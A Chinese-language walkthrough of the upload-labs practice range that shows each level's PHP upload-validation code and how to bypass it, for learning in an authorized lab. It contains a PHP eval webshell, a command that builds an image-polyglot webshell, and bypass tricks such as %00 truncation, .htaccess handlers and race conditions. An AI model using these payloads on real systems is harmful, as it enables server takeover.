从 0 到 1 玩转 upload-labs 靶场:环境搭建 + 全关卡漏洞解析
前言
🔥 21 步攻克文件上传漏洞!
从前端校验绕过到服务端代码执行,upload-labs 带你深入剖析黑客如何通过一个文件掌控网站。实战化场景 + 代码级解析,手把手教你利用与修复,快速掌握 Web 安全核心技能!
1 靶场介绍
upload-labs
是一个使用 PHP 语言编写的靶场项目,专门用于收集渗透测试和 CTF 中遇到的各种上传漏洞,帮助用户全面了解上传漏洞相关知识。
官网地址:
- Github:https://github.com/c0ny1/upload-labs
- DockerHub:https://registry.hub.docker.com/r/c0ny1/upload-labs
本文解题使用到的工具:
- BurpSuite - https://portswigger.net/burp/communitydownload
- Beyond Compare - https://www.beyondcomparepro.com/download
- AntSword 蚁剑 - https://github.com/AntSwordProject/antSword
2 环境搭建
2.1 Docker版
包含题目: Pass-01 - Pass-20
# 创建镜像
docker pull c0ny1/upload-labs# 运行镜像
docker run -d -p 80:80 --name upload c0ny1/upload-labs:latest# 访问项目:浏览器url输入Linux的IP,此时靶场无法上传文件。# 修改容器配置
# 1、进入容器
# 2、创建文件夹upload
# 3、修改文件夹权限# 操作示例:
docker ps -a
docker exec -it bf0 /bin/bash
mkdir upload
chown www-data:www-data upload
2.2 Windows版
包含题目: Pass-01 - Pass-21
# 1、下载资源包
https://github.com/c0ny1/upload-labs/releases
# 2、将WWW目录下的内容替换为Github上最新的源码共21题,资源包里只有20题。
# 3、根据使用说明启动项目
# 4、访问项目:127.0.0.1
集成环境绿色免安装,解压即可使用。
3 题目解析
Pass-01
源码分析
纯前端校验文件类型。
function checkFile() {var file = document.getElementsByName('upload_file')[0].value;if (file == null || file == "") {alert("请选择要上传的文件!");return false;}//定义允许上传的文件类型 var allow_ext = ".jpg|.png|.gif";//提取上传文件的类型 var ext_name = file.substring(file.lastIndexOf("."));//判断上传文件类型是否允许上传if (allow_ext.indexOf(ext_name + "|") == -1) {var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;alert(errMsg);return false;}
}
绕过方式
通过 BurpSuite 配置移除响应中的 JS 代码,使用 BurpSuite 内置浏览器直接绕过。
Pass-02
源码分析
仅判断了请求头 type 的值。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {if (($_FILES['upload_file']['type'] == 'image/jpeg') ||($_FILES['upload_file']['type'] == 'image/png') ||($_FILES['upload_file']['type'] == 'image/gif')) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '文件类型不正确,请重新上传!';}} else {$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';}
}
绕过方式
使用 BurpSuite 工具抓包,修改请求头 Content-Type 的值为图片类型之一。
Pass-03
源码分析
使用黑名单方式,限制’.asp’,‘.aspx’,‘.php’,'.jsp’后缀文件。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext);//转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext);//收尾去空if(!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path =UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
绕过方式
使用其他文件格式上传,如何 php5。
Pass-04
源码分析
-
比 Pass-03 多了黑名单内容限制,但缺少
htaccess
格式。 -
观察校验步骤
- trim 去空格。
- deldot 表示从字符串的尾部开始,从后向前删除点 . ,直到该字符串的末尾字符不是 . 为止。
- strrchr 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext =array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Htm
l",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".j
tml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp","
.aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext);//转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext);//首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path =UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
绕过方式
- 上传一个
.htaccess
文件,该配置的意思就是让 Apache 对当前目录中的所有文件都以 php 的格式进行解析。
SetHandler application/x-httpd-php
-
上传任意后缀,其内容为 php 的文件(文件能够成功上传,但当前版本phpstudy无法解析)。
-
这里采用另一种方式,构造 filename 参数值结尾为
. .
的格式。
Pass-05
源码分析
只是修改了首尾去空的逻辑。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext =array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml
",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pH
tml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".
jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax
",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext);//转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext);//首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
绕过方式
同 Pass-04
Pass-06
源码分析
相比较 Pass-04,黑名单添加了 .htaccess
,但是缺少大小写校验。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext =array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml
",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pH
tml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".
jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax
",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext);//首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path =UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
绕过方式
修改文件名大小写。
Pass-07
源码分析
缺少去空格校验。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext =array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml
",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pH
tml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".
jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax
",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = $_FILES['upload_file']['name'];$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext);//转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATAif (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path =UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
绕过方式
参数值后面添加空格。
Pass-08
绕过方式
同 Pass-04
Pass-09
源码分析
缺少 ::$DATA
校验:
- 在 Windows 的 NTFS 文件系统里,每个文件除了主数据流(也就是文件的常规内容)之外,还能够有一个或者多个备用数据流。
- 这些备用数据流可以用来存储额外的数据,并且它们可以通过 文件名
::$DATA
这样的格式来访问。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext =array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml
",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pH
tml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".
jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax
",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext);//转换为小写$file_ext = trim($file_ext);//首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path =UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
绕过方式
Pass-10
绕过方式
同 Pass-04
Pass-11
源码分析
$file_name = str_ireplace($deny_ext,"", $file_name);
将黑名单替换为空。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext =array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","a
sax","ascx","ashx","asmx","cer","swf","htaccess","ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
绕过方式
双写绕过,黑名单替换后成为了正常的 php 格式。
Pass-12
源码分析
使用白名单,上传路径从 save_path
参数取值。
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])) {$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10,99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}
绕过方式
%00
截断的核心在于chr(0)
这个字符,chr(0)
是字符串的结束符,在 ascll码中,它表示的字
符是Null
。当程序输出包含这个chr(0)
的变量时,chr(0)
后面的数据会被截断。
- 截断
save_path
参数内容,url 解码%00
后是空。 - 修改
filename
后缀为白名单格式。
Pass-13
源码分析
修改了请求方法为 POST:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])) {$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_POST['save_path']."/".rand(10,99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = "上传失败";}} else {$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}
绕过方式
post 参数使用截断,需要将 %00
进行 url 解码(通过 BurpSuite 工具的 decoder 模块)。
Pass-14
源码分析
题目要求使用一句话图片马,并使用文件包含漏洞。通过 $bin = fread($file, 2);
验证头部信息。
function getReailFileType($filename) {$file = fopen($filename, "rb");$bin = fread($file, 2);//只读2字节fclose($file);$strInfo = @unpack("C2chars", $bin);$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);$fileType = '';switch($typeCode) {case 255216: $fileType = 'jpg';break;case 13780: $fileType = 'png';break;case 7173: $fileType = 'gif';break;default: $fileType = 'unknown';}return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])) {$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);if($file_type == 'unknown') {$msg = "文件未知,上传失败!";} else {$img_path = UPLOAD_PATH."/".rand(10,99).date("YmdHis").".".$file_type;if(move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = "上传出错!";}}
}
查看文件包含漏洞源码,需要请求参数 file。
绕过方式
一句话马,hack.php
<?php
@eval($_POST['pass']);
?>
制作图片马。
copy firefox.png/b + hack.php hack.png
从请求种获取地址,使用文件包含漏洞拼接 url。
使用蚁剑 (AntSword) 验证能否注入。
Pass-15,Pass-16
源码分析
仅修改了验证图片方法。
pass-15
$info = getimagesize($filename);
pass-16
$image_type = exif_imagetype($filename);
绕过方式
同 Pass-14
Pass-17
源码分析
修改了验证图片方法, imagecreatefrompng
重新渲染了图片。
$im = imagecreatefrompng($target_path);
绕过方式
- 尝试上传方式同Pass-14,但是发现图片种的php代码被二次解析。
- 用工具 Beyond Compare 的16进制比较上传图片
hack.gif
和转码后的图片hack2.gif
,在hack2.git
未变化的地方插入 php 代码。
<?php
@eval($_POST['pass']);
?>
- 上传修改后的 hack2.gif,使用蚁剑解析成功。
Pass-18
源码分析
使用 unlink($upload_file);
方法,不符合条件的直接删除。
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])) {$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)) {if(in_array($file_ext,$ext_arr)) {$img_path = UPLOAD_PATH . '/'. rand(10,99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;} else {$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}} else {$msg = '上传出错!';}
}
绕过方式
- 可以尝试使用 pass-14 的绕过方式。
- 由于
unlink
有时间差,也可以使用并发请求上传 php 文件。 - 使用 BurpSuite 的 intruder 模块,将请求发送到该模块:
修改 payload 使其无限请求:
然后在BurpSuite 内置浏览器开启另一个标签页并不停访问上传文件的地址。
Pass-19
源码分析
引用了 myupload.php 。
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {require_once("./myupload.php");$imgFileName =time();$u = new MyUpload($_FILES['upload_file']['name'],$_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);$status_code = $u->upload(UPLOAD_PATH);switch ($status_code) {...
查看该文件 myupload.php ,上传路径到了上一层。
...function setDir( $dir ) {if( !is_writable( $dir ) ) {return "DIRECTORY_FAILURE";} else {$this->cls_upload_dir = $dir;return 1;}
}
...
绕过方式
依然可以上传图片马,但是注意上传路径有变化。
蚁剑验证注入结果:
Pass-20
源码分析
- 未对上传的文件类型做判断,仅简单地对文件后缀名进行黑名单校验。
- 判断的参数是
UPLOAD_PATH
,使用move_uploaded_file()
将$img_path =UPLOAD_PATH . '/' .$file_name;
转移了保存路径。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext =array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","a
sax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = $_POST['save_name'];$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);if(!in_array($file_ext,$deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '禁止保存为该类型文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
绕过方式
通过hack.php/.
绕过黑名单后缀:
-
直接上传图片马,配合文件包含漏洞
http://127.0.0.1/include.php?file=upload/xxx
,使用蚁剑连接。 -
直接上传 php 木马,配合文件包含漏洞
http://127.0.0.1/include.php?file=upload/xxx
,使用蚁剑连接。 -
利用
move_uploaded_file()
函数忽略掉文件末尾的传入hack.php/.
后的/.
。
蚁剑验证注入:
Pass-21
源码分析
- 相较于 pass-20,增加了
MIME
的类型校验。 $file_name = reset($file) . '.' . $file[count($file) - 1];
重命名文件。
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])) {//检查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)) {$msg = "禁止上传该类型文件!";} else {//检查文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {$file = explode('.', strtolower($file));}$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";} else {$file_name = reset($file) . '.' . $file[count($file) -1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上传成功!";$is_upload = true;} else {$msg = "文件上传失败!";}}}
} else {$msg = "请选择要上传的文件!";
}
绕过方式
方式1:修改参数 Content-Type
值为白名单中的值,配合文件包含漏洞注入 shell。
方式2:
- 上传图片马,配合文件包含漏洞注入shell。
- 数据包中的
name="save_name"
以数组的形式发送,这里第二个save_name
要大于等于2,为了让$file_name = reset($file) . '.' . $file[count($file) - 1];
中的$file[count($file) - 1]
取不到值,即取不到文件扩展名; - 那么
move_uploaded_file
就没有转移上传文件路径,可以直接访问到该文件。
本文内容仅用于 Web 安全技术学习与授权测试环境验证,严禁将相关技术用于未授权的系统或网络环境。违反《网络安全法》等法律法规的行为将自行承担法律责任。upload-labs 为开源安全测试平台,使用时需确保环境隔离。